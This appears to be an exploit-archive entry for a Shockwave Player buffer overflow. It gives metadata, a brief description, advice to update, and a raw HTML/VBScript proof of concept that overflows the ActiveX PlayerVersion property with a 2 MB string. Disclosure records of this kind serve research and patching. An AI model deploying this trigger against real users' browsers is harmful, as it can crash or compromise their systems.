header-logo
Suggest Exploit
vendor:
Shockwave Player
by:
Unknown
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Shockwave Player
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
Unknown

Shockwave Player Version Buffer Overflow

This exploit is a buffer overflow vulnerability in the Shockwave Player Version. It allows an attacker to execute arbitrary code by supplying a long string of characters as an argument to the ShockW.PlayerVersion property.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the Shockwave Player is up to date with the latest version.
Source

Exploit-DB raw data:

<html>

<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2097152, "A")

ShockW.PlayerVersion = arg1

</script>